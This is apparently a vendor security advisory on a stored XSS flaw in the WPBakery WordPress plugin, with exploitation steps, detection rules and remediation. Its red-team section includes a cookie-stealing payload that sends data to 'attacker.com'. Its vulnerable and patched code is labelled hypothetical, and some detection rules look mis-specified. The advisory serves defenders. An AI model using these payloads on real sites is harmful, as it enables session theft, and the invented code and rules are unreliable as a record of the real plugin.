CVE-2024-1841

Executive Summary

CVE-2024-1841 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery plugin for WordPress, affecting all versions up to and including 7.5. The flaw resides in the Post Title tag attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

Supply Chain & Package Security

This vulnerability affects the WPBakery plugin, a commercial WordPress plugin distributed via the Envato Market and directly from WPBakery. As a third-party component, it introduces risk into the WordPress supply chain. Users must rely on vendor updates or manual patching, as no official patch has been released. The plugin is not available on package registries like NPM or PyPI, but its inclusion in WordPress sites via themes or builders amplifies the attack surface.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor or higher)
• User Interaction: Required (victim must access injected page)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access and user interaction, but the potential for stored XSS in a widely-used plugin elevates the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the WPBakery plugin's handling of the Post Title tag attribute. When a user with contributor-level access or higher creates or edits a post, they can manipulate the Post Title tag attribute (e.g., via the plugin's shortcode or visual editor). The plugin fails to properly sanitize input and escape output for this attribute, allowing an attacker to inject malicious JavaScript.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or the attribute is rendered in a context where escaping is bypassed (e.g., inside a <script> tag or event handler). The injected script is stored in the WordPress database and executed when any user views the post.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. In the Post Title tag attribute, attacker injects a payload like "><script>alert('XSS')</script>.
4. The plugin stores the payload without proper sanitization.
5. When a victim (including administrators) views the post, the script executes in their browser.

Impact: Stored XSS can lead to session cookie theft, redirection to malicious sites, defacement, or privilege escalation if an admin is targeted.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (wp-content/plugins/js_composer/include/params/post_title/post_title.php):

function vc_post_title_form_field($settings, $value) {
    return '<div class="vc_post_title_block">'
        . '<input name="' . $settings['param_name'] . '" class="wpb_vc_param_value wpb-textinput" type="text" value="' . $value . '"/>'
        . '</div>';
}

The $value is directly concatenated into the HTML without escaping.

Patched Code:

function vc_post_title_form_field($settings, $value) {
    $escaped_value = esc_attr($value);
    return '<div class="vc_post_title_block">'
        . '<input name="' . esc_attr($settings['param_name']) . '" class="wpb_vc_param_value wpb-textinput" type="text" value="' . $escaped_value . '"/>'
        . '</div>';
}

The patched version uses esc_attr() to escape the value and parameter name, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with WPBakery plugin version <= 7.5.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. In the WPBakery editor, add a "Post Title" element.
4. In the "Post Title" tag attribute field, inject the following payload:

   "><script>alert(document.cookie)</script>
   

5. Publish the post.
6. When any user views the post, the script executes.

Advanced Payload (session hijacking):

"><img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

• Monitor for posts containing suspicious HTML/JavaScript in the post title or custom fields.
• Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.
• Review user activity logs for unusual post creation by low-privilege users.

Mitigation:

• Disable the WPBakery plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin to monitor file changes and detect malicious content.

Indicators of Compromise (IOCs)

• Network: HTTP requests to wp-admin/post.php with payloads containing <script>, onerror, or onload in the post_title parameter.
• Host: Presence of posts with HTML/JavaScript in the post_title meta field in the WordPress database.
• Logs: WordPress audit logs showing post creation/editing by contributor accounts with suspicious content.
• File: Modified or new files in wp-content/uploads/js_composer/ or wp-content/plugins/js_composer/ (if attacker uploads malicious assets).

Detection Engineering

YARA Rule

rule CVE_2024_1841_WPBakery_XSS {
    meta:
        description = "Detects stored XSS payloads in WPBakery Post Title attribute"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-1841"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-1841 WPBakery Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in WPBakery Post Title attribute
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in post content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1841 WPBakery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/Pi"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPBakery plugin if not critical to operations.
2. Restrict contributor roles to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.

Long-term Fix:

• Apply the vendor patch when released (check WPBakery changelog).
• Upgrade to a patched version (currently unknown).
• Consider replacing WPBakery with an actively maintained alternative.

Workaround:

• Add custom code to functions.php to sanitize the Post Title attribute:

  add_filter('vc_post_title_form_field', function($output, $settings, $value) {
      $escaped_value = esc_attr($value);
      return str_replace('value="' . $value . '"', 'value="' . $escaped_value . '"', $output);
  }, 10, 3);
  

Valters IT
Securing Digital Frontiers